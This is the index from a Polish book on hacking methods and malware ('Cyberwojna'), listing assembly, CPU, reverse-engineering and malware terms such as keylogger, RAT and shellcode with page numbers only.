Interrupt Flag, Patrz: flaga przerwaniainżynieria odwrotna, 195
kodu, 245, 249, 252
Jjądro, 53język Asembler, 18, 187
Kkamera internetowa, 208, 213, 215Kernel mode, Patrz: tryb jądrakeygen, Patrz: generator kluczykeylogger, 185, 187, 193, 224, 243
raport, 195klaster, 55kod
inżynieria odwrotna, Patrz: inżynieriaodwrotna koduoperacyjny, Patrz: opkodopóźnione uruchomienie, 275wstrzykiwanie, 230, 255zaciemnianie, 246źródłowy, 115
kompilator zasobów, 19komputer zombie, 222komunikator Pidgin, 238konsolidator, 18, 19konwersacja błyskawiczna, 237koń trojański, 205, 211
CAFEiNi, 207Matrix, 206Prosiak, 206
LLegacy prefix, Patrz: prefiks kompatybilnościliczba BCD, 34linker, Patrz: konsolidator
Łładunek, Patrz: payload
Kup książkę Poleć książkę
Skorowidz 281
Mmakrowirus, 163malware, 187, 202, 267, 275maszyna wirtualna, 227, 231, 253metadane, 239mnemonik, 45mutex, 49
Nnarzędzie
.NET Reflector, 248cRARk, 242Exeinfo PE, 249IDA, 248ILSpy, 248Menedżer zadań, 234msconfig.exe, 234netstat, 234OllyDbg, 248PEiD, 249regedit.exe, 234, 271taskmgr.exe, 234WinDbg, 248x64dbg, 248xvi32, 248zdalnej administracji, 208, 210
Nested Task Flag, Patrz: flaga zadaniazagnieżdżonego
Oobfuscation, Patrz: kod zaciemnianieodpluskwiacz, 245, 248odpluskwianie, 26, 29, 30okno
aktywne, 193wyskakujące, 219
operacja arytmetyczna, 30, 34, 36bez znaku, 31
operator[ ], Patrz: dereferencjaoffset, 118
opkod, 28, 45, 46ucieczki, 46
Overflow Flag, Patrz: flaga przepełnienia
Ppacker, Patrz: program pakującypakiet MASM32, 17, 18pamięć
adres rzeczywisty, 25fizyczna, 23, 25jednostka, 23losowa organizacja przestrzeni adresowej, 223model
płaski, 25segmentowy, 24, 25
operacyjna, 23, 55podręczna, 23RAM, 23stronicowanie, 25tryb adresu rzeczywistego, 25wirtualna, 23
Parity Flag, Patrz: flaga parzystościpassword cracker, Patrz: hasło łamaczpatch, 246, 250payload, 164
Detonator, 175testowanie, 175tworzenie, 172
perfect forward secrecy, Patrz: poufnośćprzekazu doskonała
pętla, 105phishing, 243piaskownica, 227, 230Pidgin, 238plik
.NFO, 247cvtres.exe, 18, 19format, Patrz: formatlink.exe, 18, 19ml64.exe, 18, 19odczyt, 59Stub.exe, 178tworzenie, 55wskaźnik, 57wykonywalny, 53, 177
infekowanie, 168zapis, 58
podpięcie, 185, 186pole poziomu przywilejów wejścia/wyjścia, 29połączenie odwrotne, 211popup window, Patrz: okno wyskakujące
Kup książkę Poleć książkę
282 Cyberwojna. Metody działania hakerów
poufność przekazu doskonała, 238poziom
trzeci, 52użytkownika, 53zerowy, 52
praca krokowa, 29prefiks
kompatybilności, 45REP, 37REX, 28, 46
procedura, 106proces, 49
tworzenie, 50wątek, Patrz: wątek
procesora rejestr, Patrz: rejestrProcessor Feature Identification Flag, Patrz:
flaga identyfikacji właściwości procesoraprogram
antywirusowy, 229, 230online, 230, 252
infekujący, Patrz: aplikacja serwerapakujący, 246zabezpieczenie antypirackie, 247
projekt Tor, 235Protected Mode, Patrz: tryb chronionyprotokół OTR, 237, 238przeglądarka internetowa, 230, 233
Tor Browser, 235, 236przepełnienie całkowitoliczbowe, 32przerwanie
maskowane, 30sprzętowe, 29wirtualne, 30
punkt wejścia, 168, 174PUSHAD, 71
RRabbit, 220ransomware, 199, 201, 209RAT, 208, 210raw binary data, Patrz: dane binarne suroweRCE, Patrz: inżynieria odwrotna koduReal Mode, Patrz: tryb rzeczywistyrejestr, 26, 63
AL, 69, 73, 79, 80, 108, 109AX, 69, 72, 73, 79, 80, 108, 109bazowy, 28
CX, 105danych, 28DI, 109docelowy, 28DX, 72, 80EAX, 69, 72, 73, 79, 80, 108, 109ECX, 105EDI, 109EDX, 72, 80edytor, 234, 271flag/znaczników, 29licznika, 28odpluskwiania, 26, 27ogólnego przeznaczenia, 27, 71RAX, 28, 69, 73, 79, 80, 108, 109RBP, 29RBX, 28RCX, 28, 39, 105RDI, 28, 109RDX, 28, 39, 73, 80RFLAGS, 67rozszerzeń, 29RSI, 28RSP, 29, 38segmentowy, 29systemowy, 26, 27tablicy deskryptorów, 27zadań, 27znaczników, 27źródłowy, 28
Remote Administration Tool, Patrz: RATResume Flag, Patrz: flaga wznowieniaRET, 106Reverse Code Engineering, Patrz: inżynieria
odwrotna kodureverse connection, Patrz: połączenie
odwrotnereverse engineering, Patrz: inżynieria
odwrotnaREX prefix, Patrz: prefiks REXRing, Patrz: poziomRIP-Relative Addressing, 38robak komputerowy, 225rootkit, 225, 226
Kup książkę Poleć książkę
Skorowidz 283
Sscena warezowa, 247sekcja
.code, 115
.const, 115, 116
.data, 115sektor, 55sekwencja ucieczki, 46selektor segmentu, 29shellcode, 175Sign Flag, Patrz: flaga znakuspyware, 234SQL Injection, 255Stack Pointer, Patrz: stos wskaźnikstała, 116standard OpenPGP, 236stealer, 226sterownik, 53stos, 21, 29, 38, 70, 71, 106, 120
wskaźnik, 29, 38, 72wyrównanie, 21
manualne, 39suma kontrolna, 96system plików, 55system call, Patrz: wywołanie systemoweSystem Register, Patrz: rejestr systemowyszyfrowanie, 237
dysków, 238TrueCrypt, 238VeraCrypt, 238
TTask Register, Patrz: rejestr zadańTrap Flag, Patrz: flaga pułapki debugeraTrueCrypt, 238tryb
64-bitowy, 41adresowania, 41chroniony, 40jądra, 52, 53kompatybilności, 41rzeczywisty, 40System Management Mode, 40użytkownika, 52, 53Virtual-8086, 30
tylne drzwi, Patrz: backdoor
Uuprawnienia, 52User mode, Patrz: tryb użytkownika
VVeraCrypt, 238Virtual Interrupt Flag, Patrz: flaga przerwania
wirtualnegoVirtual Interrupt Pending Flag, Patrz: flaga
oczekującego przerwania wirtualnegoVirtual-8086 Mode Flag, Patrz: flaga trybu
Virtual-8086Visual Studio, 18VPN, 235
WWabbit, 220warstwa abstrakcji sprzętowej, 53wątek
główny, 51tworzenie, 51, 52uchwyt, 52
web application, Patrz: aplikacja internetowawielozadaniowość, 27wiersz polecenia, 50, 60, 136, 144Windows PowerShell, 60wirus, 163, 164, 168, 205wojna cybernetyczna, 16wskaźnik
bazowy, 29instrukcji, 38stosu, Patrz: stos wskaźnik
wyjątekodpluskwiania, 29, 30sprawdzenia wyrównania, 30
wywołanie systemowe, 53
Zzadanie zagnieżdżone, 30zapora ogniowa, 230zaprzeczalność, 237zasoby, 177zdarzenia przechwytywanie, 185Zero Flag, Patrz: flaga zerowazero-extended, Patrz: dopełnienie zeramizin, 246
Kup książkę Poleć książkę
284 Cyberwojna. Metody działania hakerów
zmienna, 115mmword, 118rozmiar, 116, 117
xmmword, 118ymmword, 118
zrzut ekranu, 216
Kup książkę Poleć książkę